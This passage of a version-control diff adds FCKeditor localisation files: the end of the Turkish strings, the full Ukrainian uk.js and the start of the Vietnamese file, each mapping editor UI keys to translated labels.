+DlgCellRowSpan		: "Satır Kapla",
+DlgCellCollSpan		: "Sütun Kapla",
+DlgCellBackColor	: "Arka Plan Rengi",
+DlgCellBorderColor	: "Kenar Rengi",
+DlgCellBtnSelect	: "Seç...",
+
+// Find Dialog
+DlgFindTitle		: "Bul",
+DlgFindFindBtn		: "Bul",
+DlgFindNotFoundMsg	: "Belirtilen yazı bulunamadı.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Değiştir",
+DlgReplaceFindLbl		: "Aranan:",
+DlgReplaceReplaceLbl	: "Bununla değiştir:",
+DlgReplaceCaseChk		: "Büyük/küçük harf duyarlı",
+DlgReplaceReplaceBtn	: "Değiştir",
+DlgReplaceReplAllBtn	: "Tümünü Değiştir",
+DlgReplaceWordChk		: "Kelimenin tamamı uysun",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Gezgin yazılımınızın güvenlik ayarları editörün otomatik yapıştırma işlemine izin vermiyor. İşlem için (Ctrl+V) tuşlarını kullanın.",
+PasteErrorCut	: "Gezgin yazılımınızın güvenlik ayarları editörün otomatik kesme işlemine izin vermiyor. İşlem için (Ctrl+X) tuşlarını kullanın.",
+PasteErrorCopy	: "Gezgin yazılımınızın güvenlik ayarları editörün otomatik kopyalama işlemine izin vermiyor. İşlem için (Ctrl+C) tuşlarını kullanın.",
+
+PasteAsText		: "Düz Metin Olarak Yapıştır",
+PasteFromWord	: "Word'den yapıştır",
+
+DlgPasteMsg2	: "Lütfen aşağıdaki kutunun içine yapıştırın. (<STRONG>Ctrl+V</STRONG>) ve <STRONG>Tamam</STRONG> butonunu tıklayın.",
+DlgPasteIgnoreFont		: "Yazı Tipi tanımlarını yoksay",
+DlgPasteRemoveStyles	: "Sitil Tanımlarını çıkar",
+DlgPasteCleanBox		: "Temizlik Kutusu",
+
+// Color Picker
+ColorAutomatic	: "Otomatik",
+ColorMoreColors	: "Diğer renkler...",
+
+// Document Properties
+DocProps		: "Doküman Özellikleri",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Çapa Özellikleri",
+DlgAnchorName		: "Çapa İsmi",
+DlgAnchorErrorName	: "Lütfen çapa için isim giriniz",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Sözlükte Yok",
+DlgSpellChangeTo		: "Şuna değiştir:",
+DlgSpellBtnIgnore		: "Yoksay",
+DlgSpellBtnIgnoreAll	: "Tümünü Yoksay",
+DlgSpellBtnReplace		: "Değiştir",
+DlgSpellBtnReplaceAll	: "Tümünü Değiştir",
+DlgSpellBtnUndo			: "Geri Al",
+DlgSpellNoSuggestions	: "- Öneri Yok -",
+DlgSpellProgress		: "Yazım denetimi işlemde...",
+DlgSpellNoMispell		: "Yazım denetimi tamamlandı: Yanlış yazıma rastlanmadı",
+DlgSpellNoChanges		: "Yazım denetimi tamamlandı: Hiçbir kelime değiştirilmedi",
+DlgSpellOneChange		: "Yazım denetimi tamamlandı: Bir kelime değiştirildi",
+DlgSpellManyChanges		: "Yazım denetimi tamamlandı: %1 kelime değiştirildi",
+
+IeSpellDownload			: "Yazım denetimi yüklenmemiş. Şimdi yüklemek ister misiniz?",
+
+// Button Dialog
+DlgButtonText		: "Metin (Değer)",
+DlgButtonType		: "Tip",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "İsim",
+DlgCheckboxValue	: "Değer",
+DlgCheckboxSelected	: "Seçili",
+
+// Form Dialog
+DlgFormName		: "İsim",
+DlgFormAction	: "İşlem",
+DlgFormMethod	: "Metod",
+
+// Select Field Dialog
+DlgSelectName		: "İsim",
+DlgSelectValue		: "Değer",
+DlgSelectSize		: "Boyut",
+DlgSelectLines		: "satır",
+DlgSelectChkMulti	: "Çoklu seçime izin ver",
+DlgSelectOpAvail	: "Mevcut Seçenekler",
+DlgSelectOpText		: "Metin",
+DlgSelectOpValue	: "Değer",
+DlgSelectBtnAdd		: "Ekle",
+DlgSelectBtnModify	: "Düzenle",
+DlgSelectBtnUp		: "Yukari",
+DlgSelectBtnDown	: "Aşağı",
+DlgSelectBtnSetValue : "Seçili değer olarak ata",
+DlgSelectBtnDelete	: "Sil",
+
+// Textarea Dialog
+DlgTextareaName	: "İsim",
+DlgTextareaCols	: "Sütunlar",
+DlgTextareaRows	: "Satırlar",
+
+// Text Field Dialog
+DlgTextName			: "İsim",
+DlgTextValue		: "Değer",
+DlgTextCharWidth	: "Karakter Genişliği",
+DlgTextMaxChars		: "En Fazla Karakter",
+DlgTextType			: "Tip",
+DlgTextTypeText		: "Metin",
+DlgTextTypePass		: "Şifre",
+
+// Hidden Field Dialog
+DlgHiddenName	: "İsim",
+DlgHiddenValue	: "Değer",
+
+// Bulleted List Dialog
+BulletedListProp	: "Simgeli Liste Özellikleri",
+NumberedListProp	: "Numaralı Liste Özellikleri",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tip",
+DlgLstTypeCircle	: "Çember",
+DlgLstTypeDisc		: "Disk",
+DlgLstTypeSquare	: "Kare",
+DlgLstTypeNumbers	: "Sayılar (1, 2, 3)",
+DlgLstTypeLCase		: "Küçük Harfler (a, b, c)",
+DlgLstTypeUCase		: "Büyük Harfler (A, B, C)",
+DlgLstTypeSRoman	: "Küçük Romen Rakamları (i, ii, iii)",
+DlgLstTypeLRoman	: "Büyük Romen Rakamları (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Genel",
+DlgDocBackTab		: "Arka Plan",
+DlgDocColorsTab		: "Renkler ve Mesafeler",
+DlgDocMetaTab		: "Tanım Bilgisi (Meta)",
+
+DlgDocPageTitle		: "Sayfa Başlığı",
+DlgDocLangDir		: "Lisan Yönü",
+DlgDocLangDirLTR	: "Soldan Sağa (LTR)",
+DlgDocLangDirRTL	: "Sağdan Sola (RTL)",
+DlgDocLangCode		: "Lisan Kodu",
+DlgDocCharSet		: "Karakter Kümesi Kodlaması",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Diğer Karakter Kümesi Kodlaması",
+
+DlgDocDocType		: "Doküman Türü Başlığı",
+DlgDocDocTypeOther	: "Diğer Doküman Türü Başlığı",
+DlgDocIncXHTML		: "XHTML Bildirimlerini Dahil Et",
+DlgDocBgColor		: "Arka Plan Rengi",
+DlgDocBgImage		: "Arka Plan Resim URLsi",
+DlgDocBgNoScroll	: "Sabit Arka Plan",
+DlgDocCText			: "Metin",
+DlgDocCLink			: "Köprü",
+DlgDocCVisited		: "Görülmüs Köprü",
+DlgDocCActive		: "Aktif Köprü",
+DlgDocMargins		: "Kenar Boşlukları",
+DlgDocMaTop			: "Tepe",
+DlgDocMaLeft		: "Sol",
+DlgDocMaRight		: "Sağ",
+DlgDocMaBottom		: "Alt",
+DlgDocMeIndex		: "Doküman İndeksleme Anahtar Kelimeleri (virgülle ayrılmış)",
+DlgDocMeDescr		: "Doküman Tanımı",
+DlgDocMeAuthor		: "Yazar",
+DlgDocMeCopy		: "Telif",
+DlgDocPreview		: "Ön İzleme",
+
+// Templates Dialog
+Templates			: "Düzenler",
+DlgTemplatesTitle	: "İçerik Düzenleri",
+DlgTemplatesSelMsg	: "Editörde açmak için lütfen bir düzen seçin.<br>(hali hazırdaki içerik kaybolacaktır.):",
+DlgTemplatesLoading	: "Düzenler listesi yüklenmekte. Lütfen bekleyiniz...",
+DlgTemplatesNoTpl	: "(Belirli bir düzen seçilmedi)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Hakkında",
+DlgAboutBrowserInfoTab	: "Gezgin Bilgisi",
+DlgAboutLicenseTab	: "Lisans",
+DlgAboutVersion		: "versiyon",
+DlgAboutLicense		: "GNU Kısıtlı Kamu Lisansı (LGPL) koşulları altında lisanslanmıştır",
+DlgAboutInfo		: "Daha fazla bilgi için:"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/uk.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/uk.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/uk.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: uk.js
+ * 	Ukrainian language file.
+ * 
+ * File Authors:
+ * 		Alexander Pervak (pervak@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Згорнути панель інструментів",
+ToolbarExpand		: "Розгорнути панель інструментів",
+
+// Toolbar Items and Context Menu
+Save				: "Зберегти",
+NewPage				: "Нова сторінка",
+Preview				: "Попередній перегляд",
+Cut					: "Вирізати",
+Copy				: "Копіювати",
+Paste				: "Вставити",
+PasteText			: "Вставити тільки текст",
+PasteWord			: "Вставити з Word",
+Print				: "Друк",
+SelectAll			: "Виділити все",
+RemoveFormat		: "Прибрати форматування",
+InsertLinkLbl		: "Посилання",
+InsertLink			: "Вставити/Редагувати посилання",
+RemoveLink			: "Знищити посилання",
+Anchor				: "Вставити/Редагувати якір",
+InsertImageLbl		: "Зображення",
+InsertImage			: "Вставити/Редагувати зображення",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Вставити/Редагувати Flash",
+InsertTableLbl		: "Таблиця",
+InsertTable			: "Вставити/Редагувати таблицю",
+InsertLineLbl		: "Лінія",
+InsertLine			: "Вставити горизонтальну лінію",
+InsertSpecialCharLbl: "Спеціальний символ",
+InsertSpecialChar	: "Вставити спеціальний символ",
+InsertSmileyLbl		: "Смайлик",
+InsertSmiley		: "Вставити смайлик",
+About				: "Про FCKeditor",
+Bold				: "Жирний",
+Italic				: "Курсив",
+Underline			: "Підкреслений",
+StrikeThrough		: "Закреслений",
+Subscript			: "Підрядковий індекс",
+Superscript			: "Надрядковий индекс",
+LeftJustify			: "По лівому краю",
+CenterJustify		: "По центру",
+RightJustify		: "По правому краю",
+BlockJustify		: "По ширині",
+DecreaseIndent		: "Зменшити відступ",
+IncreaseIndent		: "Збільшити відступ",
+Undo				: "Повернути",
+Redo				: "Повторити",
+NumberedListLbl		: "Нумерований список",
+NumberedList		: "Вставити/Видалити нумерований список",
+BulletedListLbl		: "Маркований список",
+BulletedList		: "Вставити/Видалити маркований список",
+ShowTableBorders	: "Показати бордюри таблиці",
+ShowDetails			: "Показати деталі",
+Style				: "Стиль",
+FontFormat			: "Форматування",
+Font				: "Шрифт",
+FontSize			: "Розмір",
+TextColor			: "Колір тексту",
+BGColor				: "Колір фону",
+Source				: "Джерело",
+Find				: "Пошук",
+Replace				: "Заміна",
+SpellCheck			: "Перевірити орфографію",
+UniversalKeyboard	: "Універсальна клавіатура",
+PageBreakLbl		: "Page Break",	//MISSING
+PageBreak			: "Insert Page Break",	//MISSING
+
+Form			: "Форма",
+Checkbox		: "Флагова кнопка",
+RadioButton		: "Кнопка вибору",
+TextField		: "Текстове поле",
+Textarea		: "Текстова область",
+HiddenField		: "Приховане поле",
+Button			: "Кнопка",
+SelectionField	: "Список",
+ImageButton		: "Кнопка із зображенням",
+
+FitWindow		: "Maximize the editor size",	//MISSING
+
+// Context Menu
+EditLink			: "Вставити посилання",
+CellCM				: "Cell",	//MISSING
+RowCM				: "Row",	//MISSING
+ColumnCM			: "Column",	//MISSING
+InsertRow			: "Вставити строку",
+DeleteRows			: "Видалити строки",
+InsertColumn		: "Вставити колонку",
+DeleteColumns		: "Видалити колонки",
+InsertCell			: "Вставити комірку",
+DeleteCells			: "Видалити комірки",
+MergeCells			: "Об'єднати комірки",
+SplitCell			: "Роз'єднати комірку",
+TableDelete			: "Delete Table",	//MISSING
+CellProperties		: "Властивості комірки",
+TableProperties		: "Властивості таблиці",
+ImageProperties		: "Властивості зображення",
+FlashProperties		: "Властивості Flash",
+
+AnchorProp			: "Властивості якоря",
+ButtonProp			: "Властивості кнопки",
+CheckboxProp		: "Властивості флагової кнопки",
+HiddenFieldProp		: "Властивості прихованого поля",
+RadioButtonProp		: "Властивості кнопки вибору",
+ImageButtonProp		: "Властивості кнопки із зображенням",
+TextFieldProp		: "Властивості текстового поля",
+SelectionFieldProp	: "Властивості списку",
+TextareaProp		: "Властивості текстової області",
+FormProp			: "Властивості форми",
+
+FontFormats			: "Нормальний;Форматований;Адреса;Заголовок 1;Заголовок 2;Заголовок 3;Заголовок 4;Заголовок 5;Заголовок 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Обробка XHTML. Зачекайте, будь ласка...",
+Done				: "Зроблено",
+PasteWordConfirm	: "Текст, що ви хочете вставити, схожий на копійований з Word. Ви хочете очистити його перед вставкою?",
+NotCompatiblePaste	: "Ця команда доступна для Internet Explorer версії 5.5 або вище. Ви хочете вставити без очищення?",
+UnknownToolbarItem	: "Невідомий елемент панелі інструментів \"%1\"",
+UnknownCommand		: "Невідоме ім'я команди \"%1\"",
+NotImplemented		: "Команда не реалізована",
+UnknownToolbarSet	: "Панель інструментів \"%1\" не існує",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",	//MISSING
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",	//MISSING
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",	//MISSING
+
+// Dialogs
+DlgBtnOK			: "ОК",
+DlgBtnCancel		: "Скасувати",
+DlgBtnClose			: "Зачинити",
+DlgBtnBrowseServer	: "Передивитися на сервері",
+DlgAdvancedTag		: "Розширений",
+DlgOpOther			: "<Інше>",
+DlgInfoTab			: "Інфо",
+DlgAlertUrl			: "Вставте, будь-ласка, URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<не визначено>",
+DlgGenId			: "Ідентифікатор",
+DlgGenLangDir		: "Напрямок мови",
+DlgGenLangDirLtr	: "Зліва на право (LTR)",
+DlgGenLangDirRtl	: "Зправа на ліво (RTL)",
+DlgGenLangCode		: "Мова",
+DlgGenAccessKey		: "Гаряча клавіша",
+DlgGenName			: "Им'я",
+DlgGenTabIndex		: "Послідовність переходу",
+DlgGenLongDescr		: "Довгий опис URL",
+DlgGenClass			: "Клас CSS",
+DlgGenTitle			: "Заголовок",
+DlgGenContType		: "Тип вмісту",
+DlgGenLinkCharset	: "Кодировка",
+DlgGenStyle			: "Стиль CSS",
+
+// Image Dialog
+DlgImgTitle			: "Властивості зображення",
+DlgImgInfoTab		: "Інформація про изображении",
+DlgImgBtnUpload		: "Надіслати на сервер",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Закачати",
+DlgImgAlt			: "Альтернативний текст",
+DlgImgWidth			: "Ширина",
+DlgImgHeight		: "Висота",
+DlgImgLockRatio		: "Зберегти пропорції",
+DlgBtnResetSize		: "Скинути розмір",
+DlgImgBorder		: "Бордюр",
+DlgImgHSpace		: "Горизонтальний відступ",
+DlgImgVSpace		: "Вертикальний відступ",
+DlgImgAlign			: "Вирівнювання",
+DlgImgAlignLeft		: "По лівому краю",
+DlgImgAlignAbsBottom: "Абс по низу",
+DlgImgAlignAbsMiddle: "Абс по середині",
+DlgImgAlignBaseline	: "По базовій лінії",
+DlgImgAlignBottom	: "По низу",
+DlgImgAlignMiddle	: "По середині",
+DlgImgAlignRight	: "По правому краю",
+DlgImgAlignTextTop	: "Текст на верху",
+DlgImgAlignTop		: "По верху",
+DlgImgPreview		: "Попередній перегляд",
+DlgImgAlertUrl		: "Будь ласка, введіть URL зображення",
+DlgImgLinkTab		: "Посилання",
+
+// Flash Dialog
+DlgFlashTitle		: "Властивості Flash",
+DlgFlashChkPlay		: "Авто програвання",
+DlgFlashChkLoop		: "Зациклити",
+DlgFlashChkMenu		: "Дозволити меню Flash",
+DlgFlashScale		: "Масштаб",
+DlgFlashScaleAll	: "Показати всі",
+DlgFlashScaleNoBorder	: "Без рамки",
+DlgFlashScaleFit	: "Дійсний розмір",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Посилання",
+DlgLnkInfoTab		: "Інформація посилання",
+DlgLnkTargetTab		: "Ціль",
+
+DlgLnkType			: "Тип посилання",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Якір на цю сторінку",
+DlgLnkTypeEMail		: "Эл. пошта",
+DlgLnkProto			: "Протокол",
+DlgLnkProtoOther	: "<інше>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Оберіть якір",
+DlgLnkAnchorByName	: "За ім'ям якоря",
+DlgLnkAnchorById	: "За ідентифікатором елемента",
+DlgLnkNoAnchors		: "<Немає якорів доступних в цьому документі>",
+DlgLnkEMail			: "Адреса ел. пошти",
+DlgLnkEMailSubject	: "Тема листа",
+DlgLnkEMailBody		: "Тіло повідомлення",
+DlgLnkUpload		: "Закачати",
+DlgLnkBtnUpload		: "Переслати на сервер",
+
+DlgLnkTarget		: "Ціль",
+DlgLnkTargetFrame	: "<фрейм>",
+DlgLnkTargetPopup	: "<спливаюче вікно>",
+DlgLnkTargetBlank	: "Нове вікно (_blank)",
+DlgLnkTargetParent	: "Батьківське вікно (_parent)",
+DlgLnkTargetSelf	: "Теж вікно (_self)",
+DlgLnkTargetTop		: "Найвище вікно (_top)",
+DlgLnkTargetFrameName	: "Ім'я целевого фрейма",
+DlgLnkPopWinName	: "Ім'я спливаючого вікна",
+DlgLnkPopWinFeat	: "Властивості спливаючого вікна",
+DlgLnkPopResize		: "Змінюється в розмірах",
+DlgLnkPopLocation	: "Панель локації",
+DlgLnkPopMenu		: "Панель меню",
+DlgLnkPopScroll		: "Полоси прокрутки",
+DlgLnkPopStatus		: "Строка статусу",
+DlgLnkPopToolbar	: "Панель інструментів",
+DlgLnkPopFullScrn	: "Повний екран (IE)",
+DlgLnkPopDependent	: "Залежний (Netscape)",
+DlgLnkPopWidth		: "Ширина",
+DlgLnkPopHeight		: "Висота",
+DlgLnkPopLeft		: "Позиція зліва",
+DlgLnkPopTop		: "Позиція зверху",
+
+DlnLnkMsgNoUrl		: "Будь ласка, занесіть URL посилання",
+DlnLnkMsgNoEMail	: "Будь ласка, занесіть адрес эл. почты",
+DlnLnkMsgNoAnchor	: "Будь ласка, оберіть якір",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Оберіть колір",
+DlgColorBtnClear	: "Очистити",
+DlgColorHighlight	: "Підсвічений",
+DlgColorSelected	: "Обраний",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Вставити смайлик",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Оберіть спеціальний символ",
+
+// Table Dialog
+DlgTableTitle		: "Властивості таблиці",
+DlgTableRows		: "Строки",
+DlgTableColumns		: "Колонки",
+DlgTableBorder		: "Розмір бордюра",
+DlgTableAlign		: "Вирівнювання",
+DlgTableAlignNotSet	: "<Не вст.>",
+DlgTableAlignLeft	: "Зліва",
+DlgTableAlignCenter	: "По центру",
+DlgTableAlignRight	: "Зправа",
+DlgTableWidth		: "Ширина",
+DlgTableWidthPx		: "пікселів",
+DlgTableWidthPc		: "відсотків",
+DlgTableHeight		: "Висота",
+DlgTableCellSpace	: "Проміжок (spacing)",
+DlgTableCellPad		: "Відступ (padding)",
+DlgTableCaption		: "Заголовок (Caption)",
+DlgTableSummary		: "Summary",	//MISSING
+
+// Table Cell Dialog
+DlgCellTitle		: "Властивості комірки",
+DlgCellWidth		: "Ширина",
+DlgCellWidthPx		: "пікселів",
+DlgCellWidthPc		: "відсотків",
+DlgCellHeight		: "Висота",
+DlgCellWordWrap		: "Згортання текста",
+DlgCellWordWrapNotSet	: "<Не вст.>",
+DlgCellWordWrapYes	: "Так",
+DlgCellWordWrapNo	: "Ні",
+DlgCellHorAlign		: "Горизонтальне вирівнювання",
+DlgCellHorAlignNotSet	: "<Не вст.>",
+DlgCellHorAlignLeft	: "Зліва",
+DlgCellHorAlignCenter	: "По центру",
+DlgCellHorAlignRight: "Зправа",
+DlgCellVerAlign		: "Вертикальное вирівнювання",
+DlgCellVerAlignNotSet	: "<Не вст.>",
+DlgCellVerAlignTop	: "Зверху",
+DlgCellVerAlignMiddle	: "Посередині",
+DlgCellVerAlignBottom	: "Знизу",
+DlgCellVerAlignBaseline	: "По базовій лінії",
+DlgCellRowSpan		: "Діапазон строк (span)",
+DlgCellCollSpan		: "Діапазон колонок (span)",
+DlgCellBackColor	: "Колір фона",
+DlgCellBorderColor	: "Колір бордюра",
+DlgCellBtnSelect	: "Оберіть...",
+
+// Find Dialog
+DlgFindTitle		: "Пошук",
+DlgFindFindBtn		: "Пошук",
+DlgFindNotFoundMsg	: "Вказаний текст не знайдений.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Замінити",
+DlgReplaceFindLbl		: "Шукати:",
+DlgReplaceReplaceLbl	: "Замінити на:",
+DlgReplaceCaseChk		: "Учитывать регистр",
+DlgReplaceReplaceBtn	: "Замінити",
+DlgReplaceReplAllBtn	: "Замінити все",
+DlgReplaceWordChk		: "Збіг цілих слів",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Настройки безпеки вашого браузера не дозволяють редактору автоматично виконувати операції вставки. Будь ласка, використовуйте клавіатуру для цього (Ctrl+V).",
+PasteErrorCut	: "Настройки безпеки вашого браузера не дозволяють редактору автоматично виконувати операції вирізування. Будь ласка, використовуйте клавіатуру для цього (Ctrl+X).",
+PasteErrorCopy	: "Настройки безпеки вашого браузера не дозволяють редактору автоматично виконувати операції копіювання. Будь ласка, використовуйте клавіатуру для цього (Ctrl+C).",
+
+PasteAsText		: "Вставити тільки текст",
+PasteFromWord	: "Вставити з Word",
+
+DlgPasteMsg2	: "Будь-ласка, вставте з буфера обміну в цю область, користуючись комбінацією клавіш (<STRONG>Ctrl+V</STRONG>) та натисніть <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ігнорувати налаштування шрифтів",
+DlgPasteRemoveStyles	: "Видалити налаштування стилів",
+DlgPasteCleanBox		: "Очистити область",
+
+// Color Picker
+ColorAutomatic	: "Автоматичний",
+ColorMoreColors	: "Кольори...",
+
+// Document Properties
+DocProps		: "Властивості документа",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Властивості якоря",
+DlgAnchorName		: "Ім'я якоря",
+DlgAnchorErrorName	: "Будь ласка, занесіть ім'я якоря",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Не має в словнику",
+DlgSpellChangeTo		: "Замінити на",
+DlgSpellBtnIgnore		: "Ігнорувати",
+DlgSpellBtnIgnoreAll	: "Ігнорувати все",
+DlgSpellBtnReplace		: "Замінити",
+DlgSpellBtnReplaceAll	: "Замінити все",
+DlgSpellBtnUndo			: "Назад",
+DlgSpellNoSuggestions	: "- Немає припущень -",
+DlgSpellProgress		: "Виконується перевірка орфографії...",
+DlgSpellNoMispell		: "Перевірку орфографії завершено: помилок не знайдено",
+DlgSpellNoChanges		: "Перевірку орфографії завершено: жодне слово не змінено",
+DlgSpellOneChange		: "Перевірку орфографії завершено: змінено одно слово",
+DlgSpellManyChanges		: "Перевірку орфографії завершено: 1% слів змінено",
+
+IeSpellDownload			: "Модуль перевірки орфографії не встановлено. Бажаєтн завантажити його зараз?",
+
+// Button Dialog
+DlgButtonText		: "Текст (Значення)",
+DlgButtonType		: "Тип",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Ім'я",
+DlgCheckboxValue	: "Значення",
+DlgCheckboxSelected	: "Обрана",
+
+// Form Dialog
+DlgFormName		: "Ім'я",
+DlgFormAction	: "Дія",
+DlgFormMethod	: "Метод",
+
+// Select Field Dialog
+DlgSelectName		: "Ім'я",
+DlgSelectValue		: "Значення",
+DlgSelectSize		: "Розмір",
+DlgSelectLines		: "лінії",
+DlgSelectChkMulti	: "Дозволити обрання декількох позицій",
+DlgSelectOpAvail	: "Доступні варіанти",
+DlgSelectOpText		: "Текст",
+DlgSelectOpValue	: "Значення",
+DlgSelectBtnAdd		: "Добавити",
+DlgSelectBtnModify	: "Змінити",
+DlgSelectBtnUp		: "Вгору",
+DlgSelectBtnDown	: "Вниз",
+DlgSelectBtnSetValue : "Встановити як вибране значення",
+DlgSelectBtnDelete	: "Видалити",
+
+// Textarea Dialog
+DlgTextareaName	: "Ім'я",
+DlgTextareaCols	: "Колонки",
+DlgTextareaRows	: "Строки",
+
+// Text Field Dialog
+DlgTextName			: "Ім'я",
+DlgTextValue		: "Значення",
+DlgTextCharWidth	: "Ширина",
+DlgTextMaxChars		: "Макс. кіл-ть символів",
+DlgTextType			: "Тип",
+DlgTextTypeText		: "Текст",
+DlgTextTypePass		: "Пароль",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Ім'я",
+DlgHiddenValue	: "Значення",
+
+// Bulleted List Dialog
+BulletedListProp	: "Властивості маркованого списка",
+NumberedListProp	: "Властивості нумерованного списка",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Тип",
+DlgLstTypeCircle	: "Коло",
+DlgLstTypeDisc		: "Disc",	//MISSING
+DlgLstTypeSquare	: "Квадрат",
+DlgLstTypeNumbers	: "Номери (1, 2, 3)",
+DlgLstTypeLCase		: "Літери нижнього регістра(a, b, c)",
+DlgLstTypeUCase		: "Літери ВЕРХНЬОГО РЕГІСТРА (A, B, C)",
+DlgLstTypeSRoman	: "Малі римські літери (i, ii, iii)",
+DlgLstTypeLRoman	: "Великі римські літери (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Загальні",
+DlgDocBackTab		: "Заднє тло",
+DlgDocColorsTab		: "Кольори та відступи",
+DlgDocMetaTab		: "Мета дані",
+
+DlgDocPageTitle		: "Заголовок сторінки",
+DlgDocLangDir		: "Напрямок тексту",
+DlgDocLangDirLTR	: "Зліва на право (LTR)",
+DlgDocLangDirRTL	: "Зправа на лево (RTL)",
+DlgDocLangCode		: "Код мови",
+DlgDocCharSet		: "Кодування набору символів",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Інше кодування набору символів",
+
+DlgDocDocType		: "Заголовок типу документу",
+DlgDocDocTypeOther	: "Інший заголовок типу документу",
+DlgDocIncXHTML		: "Ввімкнути XHTML оголошення",
+DlgDocBgColor		: "Колір тла",
+DlgDocBgImage		: "URL зображення тла",
+DlgDocBgNoScroll	: "Тло без прокрутки",
+DlgDocCText			: "Текст",
+DlgDocCLink			: "Посилання",
+DlgDocCVisited		: "Відвідане посилання",
+DlgDocCActive		: "Активне посилання",
+DlgDocMargins		: "Відступи сторінки",
+DlgDocMaTop			: "Верхній",
+DlgDocMaLeft		: "Лівий",
+DlgDocMaRight		: "Правий",
+DlgDocMaBottom		: "Нижній",
+DlgDocMeIndex		: "Ключові слова документа (розділені комами)",
+DlgDocMeDescr		: "Опис документа",
+DlgDocMeAuthor		: "Автор",
+DlgDocMeCopy		: "Авторські права",
+DlgDocPreview		: "Попередній перегляд",
+
+// Templates Dialog
+Templates			: "Шаблони",
+DlgTemplatesTitle	: "Шаблони змісту",
+DlgTemplatesSelMsg	: "Оберіть, будь ласка, шаблон для відкриття в редакторі<br>(поточний зміст буде втрачено):",
+DlgTemplatesLoading	: "Завантаження списку шаблонів. Зачекайте, будь ласка...",
+DlgTemplatesNoTpl	: "(Не визначено жодного шаблону)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Про програму",
+DlgAboutBrowserInfoTab	: "Інформація браузера",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "Версія",
+DlgAboutLicense		: "Ліцензовано згідно умовам GNU Lesser General Public License",
+DlgAboutInfo		: "Додаткову інформацію дивіться на "
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/vi.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/vi.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/vi.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
